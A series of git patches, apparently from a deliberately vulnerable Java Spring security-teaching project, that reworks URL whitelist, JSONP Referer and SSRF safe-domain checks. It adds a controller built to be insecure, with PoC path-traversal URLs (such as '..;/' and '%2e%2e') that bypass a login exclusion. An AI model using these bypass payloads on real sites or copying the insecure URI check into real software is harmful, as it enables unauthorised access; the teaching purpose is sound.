+ if (SecurityUtil.checkURL(referer) == null) {
return "error";
}
String callback = request.getParameter(this.callback);
diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java
index 5027caac..7c16d9d2 100644
--- a/src/main/java/org/joychou/filter/JsonpFilter.java
+++ b/src/main/java/org/joychou/filter/JsonpFilter.java
@@ -39,7 +39,6 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
HttpServletResponse response = (HttpServletResponse) res;
String refer = request.getHeader("referer");
- String[] jsonpReferWhitelist = WebConfig.getJsonpReferWhitelist();
StringBuffer url = request.getRequestURL();
String query = request.getQueryString();
@@ -50,7 +49,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
}
// 校验jsonp逻辑,如果不安全,返回forbidden
- if (SecurityUtil.checkUrlByGuava(refer, jsonpReferWhitelist) == null ){
+ if (SecurityUtil.checkURL(refer) == null ){
logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("forbidden");
@@ -87,7 +86,7 @@ private boolean check(HttpServletRequest req) {
break;
}
}
- if (StringUtils.isBlank(reqCallback)){
+ if(StringUtils.isBlank(reqCallback)){
return false;
}
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 0c40c25f..4e2e9716 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -20,8 +20,6 @@
@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
public class OriginFilter implements Filter {
- private static String[] urlwhitelist = {"joychou.org", "joychou.me"};
-
@Override
public void init(FilterConfig filterConfig) throws ServletException {
@@ -40,7 +38,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
// 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑
- if ( origin != null && SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) == null) {
+ if ( origin != null && SecurityUtil.checkURL(origin) == null) {
logger.error("[-] Origin check error. " + "Origin: " + origin +
"\tCurrent url:" + request.getRequestURL());
response.setStatus(response.SC_FORBIDDEN);
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
index 14f1a618..f8803181 100644
--- a/src/main/java/org/joychou/filter/ReferFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -64,7 +64,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){
// If the check of referer fails, a 403 forbidden error page will be returned.
- if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){
+ if (SecurityUtil.checkURL(refer) == null ){
logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+ "Referer: " + refer);
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java
index 45e0451a..cbbad17a 100644
--- a/src/main/java/org/joychou/security/CustomCorsProcessor.java
+++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java
@@ -29,26 +29,21 @@ protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
if (result != null) {
return result;
}
-
- List allowedOrigins = config.getAllowedOrigins();
- if (StringUtils.isBlank(requestOrigin)
- || CollectionUtils.isEmpty(allowedOrigins)) {
+ // List allowedOrigins = config.getAllowedOrigins();
+ if (StringUtils.isBlank(requestOrigin)) {
return null;
}
- return customCheckOrigin(allowedOrigins, requestOrigin);
+ return customCheckOrigin(requestOrigin);
}
/**
- * 用host的endsWith来校验requestOrigin
+ * 校验requestOrigin
*/
- private String customCheckOrigin(List allowedOrigins, String requestOrigin) {
-
- // list转String[]
- String[] arrayAllowOrigins = allowedOrigins.toArray(new String[allowedOrigins.size()]);
+ private String customCheckOrigin(String requestOrigin) {
- if ( SecurityUtil.checkURLbyEndsWith(requestOrigin, arrayAllowOrigins) != null) {
+ if ( SecurityUtil.checkURL(requestOrigin) != null) {
logger.info("[+] Origin: " + requestOrigin );
return requestOrigin;
}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index bb154dc4..aca374da 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -1,79 +1,51 @@
package org.joychou.security;
-import com.google.common.net.InternetDomainName;
+import org.joychou.config.WebConfig;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.UnsupportedEncodingException;
import java.net.URI;
import java.net.URLDecoder;
+import java.util.ArrayList;
import java.util.regex.Pattern;
+
public class SecurityUtil {
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ;
private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
-
/**
- * 通过endsWith判断URL是否合法
+ * 同时支持一级域名和多级域名,相关配置在resources目录下url/safe_domain.xml文件
*
- * @param url 需要check的url
- * @param urlwhitelist url白名单list
- * @return 安全url返回url,危险url返回null
+ * @param url the url need to check
+ * @return Safe url returns original url; Illegal url returns null;
*/
- public static String checkURLbyEndsWith(String url, String[] urlwhitelist) {
- if (null == url) {
+ public static String checkURL(String url) {
+
+ if (null == url){
return null;
}
+
+ ArrayList safeDomains = WebConfig.getSafeDomains();
try {
URI uri = new URI(url);
-
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
- return null;
- }
-
String host = uri.getHost().toLowerCase();
- for (String whitelist: urlwhitelist){
- if (host.endsWith("." + whitelist)) {
- return url;
- }
- }
-
- return null;
- } catch (Exception e) {
- logger.error(e.toString());
- return null;
- }
- }
-
- /**
- * 通过google guava判断URL是否合法。默认认为localhost合法
- *
- * @param url 需要check的url
- * @param urlwhitelist 根域名白名单
- * @return 安全url返回url,危险url返回null
- */
- public static String checkUrlByGuava(String url, String[] urlwhitelist){
- final String localhost = "localhost";
- if (null == url) {
- return null;
- }
-
- try {
- URI u = new URI(url);
+ // 必须http/https
if (!url.startsWith("http://") && !url.startsWith("https://")) {
return null;
}
- String host = u.getHost().toLowerCase();
- if (localhost.equals(host)) {
+
+ // 支持多级域名
+ if (safeDomains.contains(host)){
return url;
}
- String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
- for (String whiteurl: urlwhitelist){
- if (rootDomain.equals(whiteurl)) {
+ // 支持一级域名
+ for(String safedomain: safeDomains) {
+ if(host.endsWith("." + safedomain)) {
return url;
}
}
@@ -114,8 +86,8 @@ public static boolean checkSSRFWithoutRedirect(String url) {
* @param hostWlist host whitelist
* @return Safe url returns url. Dangerous url returns null.
*/
- public static String checkSSRFByHostWlist(String url, String[] hostWlist) {
- return checkURLbyEndsWith(url, hostWlist);
+ public static String checkSSRFByHost(String url) {
+ return checkURL(url);
}
/**
@@ -199,7 +171,6 @@ else if(ch == '/' || ch == '.' || ch == '-'){
}
public static void main(String[] args) {
- System.out.print(replaceSpecialStr("text/ html&(&(asdf"));
}
}
\ No newline at end of file
diff --git a/src/main/resources/url/safe_domain.xml b/src/main/resources/url/safe_domain.xml
new file mode 100644
index 00000000..a403a675
--- /dev/null
+++ b/src/main/resources/url/safe_domain.xml
@@ -0,0 +1,7 @@
+
+
+
+
+ joychou.com
+ test.joychou.org
+
From 89cb9d8b52204261a009e1257a96d3f070c51cf0 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Tue, 31 Mar 2020 17:52:06 +0800
Subject: [PATCH 15/41] fix #13
---
.../org/joychou/config/SafeDomainConfig.java | 5 +-
.../org/joychou/config/SafeDomainParser.java | 98 +++++++++++++++--
.../java/org/joychou/config/WebConfig.java | 54 +++++++---
.../org/joychou/controller/GetRequestURI.java | 50 +++++++++
.../java/org/joychou/controller/SSRF.java | 4 +-
.../joychou/controller/jsonp/JSONPAdvice.java | 89 ++++++++++++++-
.../java/org/joychou/filter/JsonpFilter.java | 101 ------------------
.../java/org/joychou/filter/ReferFilter.java | 1 +
.../joychou/interceptor/JsonpInterceptor.java | 40 +++++++
.../org/joychou/security/SSRFChecker.java | 41 ++++++-
.../org/joychou/security/SecurityUtil.java | 61 ++++++++---
.../joychou/security/WebSecurityConfig.java | 3 +-
src/main/resources/application.properties | 1 -
src/main/resources/banner.txt | 6 ++
src/main/resources/url/safe_domain.xml | 7 --
src/main/resources/url/ssrf_safe_domain.xml | 22 ++++
src/main/resources/url/url_safe_domain.xml | 18 ++++
17 files changed, 439 insertions(+), 162 deletions(-)
create mode 100644 src/main/java/org/joychou/controller/GetRequestURI.java
delete mode 100644 src/main/java/org/joychou/filter/JsonpFilter.java
create mode 100644 src/main/java/org/joychou/interceptor/JsonpInterceptor.java
create mode 100644 src/main/resources/banner.txt
delete mode 100644 src/main/resources/url/safe_domain.xml
create mode 100644 src/main/resources/url/ssrf_safe_domain.xml
create mode 100644 src/main/resources/url/url_safe_domain.xml
diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java
index d0fb91a7..de2d0bd7 100644
--- a/src/main/java/org/joychou/config/SafeDomainConfig.java
+++ b/src/main/java/org/joychou/config/SafeDomainConfig.java
@@ -7,14 +7,14 @@
/**
- * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在bean里。
+ * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在Bean里。
*/
@Configuration
public class SafeDomainConfig {
private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class);
- @Bean
+ @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中
public SafeDomainParser safeDomainParser() {
try {
LOGGER.info("SafeDomainParser bean inject successfully!!!");
@@ -26,3 +26,4 @@ public SafeDomainParser safeDomainParser() {
}
}
+
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
index 8c21e598..82859444 100644
--- a/src/main/java/org/joychou/config/SafeDomainParser.java
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -18,10 +18,13 @@ public class SafeDomainParser {
public SafeDomainParser(){
- String safeTag = "safedomain";
- String domainSafeTag = "domain";
- String safeDomainClassPath = "url" + File.separator + "safe_domain.xml";
+ String rootTag = "domains";
+ String safeDomainTag = "safedomains";
+ String blockDomainTag = "blockdomains";
+ String finalTag = "domain";
+ String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml";
ArrayList safeDomains = new ArrayList<>();
+ ArrayList blockDomains = new ArrayList<>();
try {
// 读取resources目录下的文件
@@ -32,23 +35,104 @@ public SafeDomainParser(){
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(file); // parse xml
- NodeList rootNode = doc.getElementsByTagName(safeTag);
+ NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains
Node domainsNode = rootNode.item(0);
NodeList child = domainsNode.getChildNodes();
for (int i = 0; i < child.getLength(); i++){
Node node = child.item(i);
- if (node.getNodeName().equals(domainSafeTag)) {
- safeDomains.add(node.getTextContent());
+ // 解析safeDomains节点
+ if (node.getNodeName().equals(safeDomainTag)) {
+ NodeList tagChild = node.getChildNodes();
+ for (int j = 0; j < tagChild.getLength(); j++) {
+ Node finalTagNode = tagChild.item(j);
+ // 解析safeDomains节点里的domain节点
+ if (finalTagNode.getNodeName().equals(finalTag)) {
+ safeDomains.add(finalTagNode.getTextContent());
+ }
+ }
+ }else if (node.getNodeName().equals(blockDomainTag)) {
+ NodeList finalTagNode = node.getChildNodes();
+ for (int j = 0; j < finalTagNode.getLength(); j++) {
+ Node tagNode = finalTagNode.item(j);
+ // 解析blockDomains节点里的domain节点
+ if (tagNode.getNodeName().equals(finalTag)) {
+ blockDomains.add(tagNode.getTextContent());
+ }
+ }
}
}
-
}catch (Exception e){
logger.error(e.toString());
}
WebConfig wc = new WebConfig();
wc.setSafeDomains(safeDomains);
+ wc.setBlockDomains(blockDomains);
+
+ // 解析SSRF配置
+ String ssrfRootTag = "ssrfsafeconfig";
+ String ssrfSafeDomainTag = "safedomains";
+ String ssrfBlockDomainTag = "blockdomains";
+ String ssrfBlockIpsTag = "blockips";
+ String ssrfFinalTag = "domain";
+ String ssrfIpFinalTag = "ip";
+ String ssrfSafeDomainClassPath = "url" + File.separator + "ssrf_safe_domain.xml";
+
+ ArrayList ssrfSafeDomains = new ArrayList<>();
+ ArrayList ssrfBlockDomains = new ArrayList<>();
+ ArrayList ssrfBlockIps = new ArrayList<>();
+
+ try {
+ // 读取resources目录下的文件
+ ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath);
+ File file = resource.getFile();
+
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ DocumentBuilder db = dbf.newDocumentBuilder();
+ Document doc = db.parse(file); // parse xml
+
+ NodeList rootNode = doc.getElementsByTagName(ssrfRootTag); // 解析根节点
+ Node domainsNode = rootNode.item(0);
+ NodeList child = domainsNode.getChildNodes();
+
+ for (int i = 0; i < child.getLength(); i++){
+ Node node = child.item(i);
+ // 解析safeDomains节点
+ if (node.getNodeName().equals(ssrfSafeDomainTag)) {
+ NodeList tagChild = node.getChildNodes();
+ for (int j = 0; j < tagChild.getLength(); j++) {
+ Node tagFinalNode = tagChild.item(j);
+ if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) {
+ ssrfSafeDomains.add(tagFinalNode.getTextContent());
+ }
+ }
+ }else if (node.getNodeName().equals(ssrfBlockDomainTag)) {
+ NodeList tagChild = node.getChildNodes();
+ for (int j = 0; j < tagChild.getLength(); j++) {
+ Node tagFinalNode = tagChild.item(j);
+ if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) {
+ ssrfBlockDomains.add(tagFinalNode.getTextContent());
+ }
+ }
+ }else if(node.getNodeName().equals(ssrfBlockIpsTag)){
+ NodeList tagChild = node.getChildNodes();
+ for (int j = 0; j < tagChild.getLength(); j++) {
+ Node tagFinalNode = tagChild.item(j);
+ // 解析 blockIps 节点里的 ip 节点
+ if (tagFinalNode.getNodeName().equals(ssrfIpFinalTag)) {
+ ssrfBlockIps.add(tagFinalNode.getTextContent());
+ }
+ }
+ }
+ }
+ }catch (Exception e){
+ logger.error(e.toString());
+ }
+
+ wc.setSsrfBlockDomains(ssrfBlockDomains);
+ wc.setSsrfBlockIps(ssrfBlockIps);
+ wc.setSsrfSafeDomains(ssrfSafeDomains);
}
}
diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
index 7eb3290a..2dfdee19 100644
--- a/src/main/java/org/joychou/config/WebConfig.java
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -11,7 +11,7 @@
*
* @author JoyChou @2019-07-24
*/
-@Component
+@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig
public class WebConfig {
private static String[] callbacks;
@@ -22,7 +22,10 @@ public class WebConfig {
private static Boolean referSecEnabled = false;
private static String businessCallback;
private static ArrayList safeDomains= new ArrayList<>();
-
+ private static ArrayList blockDomains= new ArrayList<>();
+ private static ArrayList ssrfSafeDomains = new ArrayList<>();
+ private static ArrayList ssrfBlockDomains= new ArrayList<>();
+ private static ArrayList ssrfBlockIps = new ArrayList<>();
/**
* application.properties里object自动转jsonp的referer校验开关
* @param jsonpReferCheckEnabled jsonp校验开关
@@ -45,19 +48,6 @@ public static String[] getJsonpCallbacks(){
}
- /**
- * application.properties里object自动转jsonp的referer白名单域名
- * @param jsonpRefererHost 白名单域名,仅支持一级域名
- */
- @Value("${joychou.security.jsonp.referer.host}")
- public void setJsonpReferWhitelist(String[] jsonpRefererHost){
- WebConfig.jsonpRefererHost = jsonpRefererHost;
- }
- public static String[] getJsonpReferWhitelist(){
- return jsonpRefererHost;
- }
-
-
@Value("${joychou.security.referer.enabled}")
public void setReferSecEnabled(Boolean referSecEnabled){
WebConfig.referSecEnabled = referSecEnabled;
@@ -95,10 +85,42 @@ public static String getBusinessCallback(){
}
- public void setSafeDomains(ArrayList safeDomains){
+ void setSafeDomains(ArrayList safeDomains){
WebConfig.safeDomains = safeDomains;
}
public static ArrayList getSafeDomains(){
return safeDomains;
}
+
+
+ void setBlockDomains(ArrayList blockDomains){
+ WebConfig.blockDomains = blockDomains;
+ }
+ public static ArrayList getBlockDomains(){
+ return blockDomains;
+ }
+
+
+ void setSsrfSafeDomains(ArrayList ssrfSafeDomains){
+ WebConfig.ssrfSafeDomains = ssrfSafeDomains;
+ }
+ public static ArrayList getSsrfSafeDomains(){
+ return ssrfSafeDomains;
+ }
+
+
+ void setSsrfBlockDomains(ArrayList ssrfBlockDomains){
+ WebConfig.ssrfBlockDomains = ssrfBlockDomains;
+ }
+ public static ArrayList getSsrfBlockDomainsDomains(){
+ return ssrfBlockDomains;
+ }
+
+
+ void setSsrfBlockIps(ArrayList ssrfBlockIps){
+ WebConfig.ssrfBlockIps = ssrfBlockIps;
+ }
+ public static ArrayList getSsrfBlockIps(){
+ return ssrfBlockIps;
+ }
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
new file mode 100644
index 00000000..512dc1ae
--- /dev/null
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -0,0 +1,50 @@
+package org.joychou.controller;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.AntPathMatcher;
+import org.springframework.util.PathMatcher;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+/**
+ * The difference between getRequestURI and getServletPath.
+ * 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。
+ *
+ * Details: https://joychou.org/web/security-of-getRequestURI.html
+ *
+ * Poc:
+ * http://localhost:8080/css/%2e%2e/exclued/vuln
+ * http://localhost:8080/css/..;/exclued/vuln
+ * http://localhost:8080/css/..;bypasswaf/exclued/vuln
+ *
+ * @author JoyChou @2020-03-28
+ */
+
+@RestController
+@RequestMapping("uri")
+public class GetRequestURI {
+
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+ @RequestMapping(value = "/exclued/vuln")
+ public String exclued(HttpServletRequest request) {
+
+ String[] excluedPath = {"/css/**", "/js/**"};
+ String uri = request.getRequestURI(); // Security: request.getServletPath()
+ PathMatcher matcher = new AntPathMatcher();
+
+ logger.info("getRequestURI: " + uri);
+ logger.info("getServletPath: " + request.getServletPath());
+
+ for (String path: excluedPath) {
+ if ( matcher.match (path, uri) ) {
+ return "You have bypassed the login page.";
+ }
+ }
+ return "This is a login page >..<";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index ec6dfc54..5b74049e 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -197,7 +197,7 @@ public static String ssrf_HttpClient(@RequestParam String url) {
@RequestMapping("/commonsHttpClient/sec")
@ResponseBody
public static String commonsHttpClient(@RequestParam String url) {
- if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
+ if (!SecurityUtil.checkSSRFByWhitehosts(url)) {
return "Bad man. I got u.";
}
@@ -285,7 +285,7 @@ public static String IOUtils(@RequestParam String url) {
public static String ImageIOSec(@RequestParam String url) {
try {
URL u = new URL(url);
- if (!SecurityUtil.checkSSRF(url)) {
+ if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
logger.error("[-] SSRF check failed. Original Url: "+ url);
return "SSRF check failed.";
}
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
index 5463a5a5..944a325b 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
@@ -1,18 +1,97 @@
package org.joychou.controller.jsonp;
+import org.apache.commons.lang.StringUtils;
+import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
+import org.springframework.core.MethodParameter;
+import org.springframework.http.MediaType;
+import org.springframework.http.converter.json.MappingJacksonValue;
+import org.springframework.http.server.ServerHttpRequest;
+import org.springframework.http.server.ServerHttpResponse;
+import org.springframework.http.server.ServletServerHttpRequest;
+import org.springframework.http.server.ServletServerHttpResponse;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice;
-// AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead.
-// Since Spring Framework 4.1
-// Springboot 2.1.0 RELEASE use spring framework 5.1.2
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+/**
+ * AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead.
+ * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
+ */
@ControllerAdvice
public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {
+ private final String[] callbacks;
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+
// method of using @Value in constructor
- public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callback) {
- super(callback); // Can set multiple paramNames
+ public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
+ super(callbacks); // Can set multiple paramNames
+ this.callbacks = callbacks;
+ }
+
+
+ // Check referer
+ @Override
+ protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType,
+ MethodParameter returnType, ServerHttpRequest req,
+ ServerHttpResponse res) {
+
+ HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest();
+ HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse();
+
+ String realJsonpFunc = getRealJsonpFunc(request);
+ if (StringUtils.isNotBlank(realJsonpFunc)){
+ jsonpReferHandler(request, response);
+ }
+ super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res);
}
+ /**
+ * @return 获取实际jsonp的callback
+ */
+ private String getRealJsonpFunc(HttpServletRequest req) {
+
+ String reqCallback = null;
+ for (String callback: this.callbacks) {
+ reqCallback = req.getParameter(callback);
+ if(StringUtils.isNotBlank(reqCallback)) {
+ break;
+ }
+ }
+ return reqCallback;
+ }
+
+ // 校验Jsonp的Referer
+ private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) {
+
+ String refer = request.getHeader("referer");
+ String url = request.getRequestURL().toString();
+ String query = request.getQueryString();
+
+ // 如果jsonp校验的开关为false,不校验
+ if ( !WebConfig.getJsonpReferCheckEnabled() ) {
+ return;
+ }
+
+ // 校验jsonp逻辑,如果不安全,返回forbidden
+ if (SecurityUtil.checkURL(refer) == null ){
+ logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+ try{
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write("forbidden");
+ response.flushBuffer();
+ } catch (Exception e){
+ logger.error(e.toString());
+ }
+
+ }
+ }
}
diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java
deleted file mode 100644
index 7c16d9d2..00000000
--- a/src/main/java/org/joychou/filter/JsonpFilter.java
+++ /dev/null
@@ -1,101 +0,0 @@
-package org.joychou.filter;
-
-
-import javax.servlet.*;
-import javax.servlet.annotation.WebFilter;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import java.io.IOException;
-
-import org.apache.commons.lang.StringUtils;
-import org.joychou.config.WebConfig;
-import org.joychou.security.SecurityUtil;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-
-/**
- * @author JoyChou @ 2020-01-13
- * 专门为object自动转jsonp功能配置的filter
- */
-
-@WebFilter(filterName = "jsonpFilter", urlPatterns = "/*")
-public class JsonpFilter implements Filter {
-
-
- @Override
- public void init(FilterConfig filterConfig) throws ServletException {
-
- }
-
- private final Logger logger= LoggerFactory.getLogger(this.getClass());
-
-
- @Override
- public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
- throws IOException, ServletException {
-
- HttpServletRequest request = (HttpServletRequest) req;
- HttpServletResponse response = (HttpServletResponse) res;
-
- String refer = request.getHeader("referer");
- StringBuffer url = request.getRequestURL();
- String query = request.getQueryString();
-
- // 如果不满足jsonp校验逻辑,则不校验
- if ( !check(request) ) {
- filterChain.doFilter(req, res);
- return ;
- }
-
- // 校验jsonp逻辑,如果不安全,返回forbidden
- if (SecurityUtil.checkURL(refer) == null ){
- logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
- response.setStatus(HttpServletResponse.SC_FORBIDDEN);
- response.getWriter().write("forbidden");
- response.flushBuffer();
- return ;
- }
-
- // 正常的refer,继续业务逻辑。
- filterChain.doFilter(req, res);
-
- }
-
- /**
- *
- * @return true要进行jsonp安全校验,false不进行jsonp安全校验
- */
- private boolean check(HttpServletRequest req) {
-
- // 如果jsonp校验的开关为false,不校验
- if ( !WebConfig.getJsonpReferCheckEnabled() ) {
- return false;
- }
-
- // 只校验GET请求
- if ( !"GET".equals(req.getMethod()) ) {
- return false;
- }
-
- // 只校验带配置里的callback参数请求
- String reqCallback = null;
- for (String callback: WebConfig.getJsonpCallbacks()) {
- reqCallback = req.getParameter(callback);
- if(StringUtils.isNotBlank(reqCallback)) {
- break;
- }
- }
- if(StringUtils.isBlank(reqCallback)){
- return false;
- }
-
-
- return true;
-
- }
- @Override
- public void destroy() {
-
- }
-}
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
index f8803181..b2326f9f 100644
--- a/src/main/java/org/joychou/filter/ReferFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -42,6 +42,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
PathMatcher matcher = new AntPathMatcher();
boolean isMatch = false;
+ // 获取要校验Referer的Uri
for (String uri: WebConfig.getReferUris()) {
if ( matcher.match (uri, request.getRequestURI()) ) {
isMatch = true;
diff --git a/src/main/java/org/joychou/interceptor/JsonpInterceptor.java b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java
new file mode 100644
index 00000000..52d67e4c
--- /dev/null
+++ b/src/main/java/org/joychou/interceptor/JsonpInterceptor.java
@@ -0,0 +1,40 @@
+package org.joychou.interceptor;
+
+import org.apache.commons.lang.StringUtils;
+import org.joychou.config.WebConfig;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.servlet.HandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+/**
+ * @author JoyChou @ 2020-03-28
+ * 专门为object自动转jsonp功能配置的Referer校验Intercepter
+ */
+
+public class JsonpInterceptor implements HandlerInterceptor {
+
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
+ throws Exception {
+ return true;
+ }
+
+ @Override
+ public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler,
+ ModelAndView modelAndView) throws Exception {
+ }
+
+ @Override
+ public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
+ throws Exception {
+ logger.info(response.getWriter().toString());
+ }
+
+}
+
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index bb959a23..2f1bcf0a 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -4,7 +4,10 @@
import java.net.InetAddress;
import java.net.URI;
import java.net.URL;
+import java.util.ArrayList;
+
import org.apache.commons.net.util.SubnetUtils;
+import org.joychou.config.WebConfig;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@@ -12,6 +15,36 @@ class SSRFChecker {
private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+ static boolean checkURLFckSSRF(String url) {
+ if (null == url){
+ return false;
+ }
+
+ ArrayList ssrfSafeDomains = WebConfig.getSsrfSafeDomains();
+ try {
+ URI uri = new URI(url);
+ String host = uri.getHost().toLowerCase();
+
+ // 必须http/https
+ if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ return false;
+ }
+
+ if (ssrfSafeDomains.contains(host)) {
+ return true;
+ }
+ for (String ssrfSafeDomain : ssrfSafeDomains) {
+ if(host.endsWith("." + ssrfSafeDomain)) {
+ return true;
+ }
+ }
+ } catch (Exception e) {
+ logger.error(e.toString());
+ return false;
+ }
+ return false;
+ }
+
/**
* 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
* url只允许https或者http,并且设置默认连接超时时间。
@@ -21,7 +54,7 @@ class SSRFChecker {
* @param checkTimes 设置重定向检测的最大次数,建议设置为10次
* @return 安全返回true,危险返回false
*/
- static Boolean checkSSRF(String url, int checkTimes) {
+ static boolean checkSSRF(String url, int checkTimes) {
HttpURLConnection connection;
int connectTime = 5*1000; // 设置连接超时时间5s
@@ -69,7 +102,7 @@ static Boolean checkSSRF(String url, int checkTimes) {
*
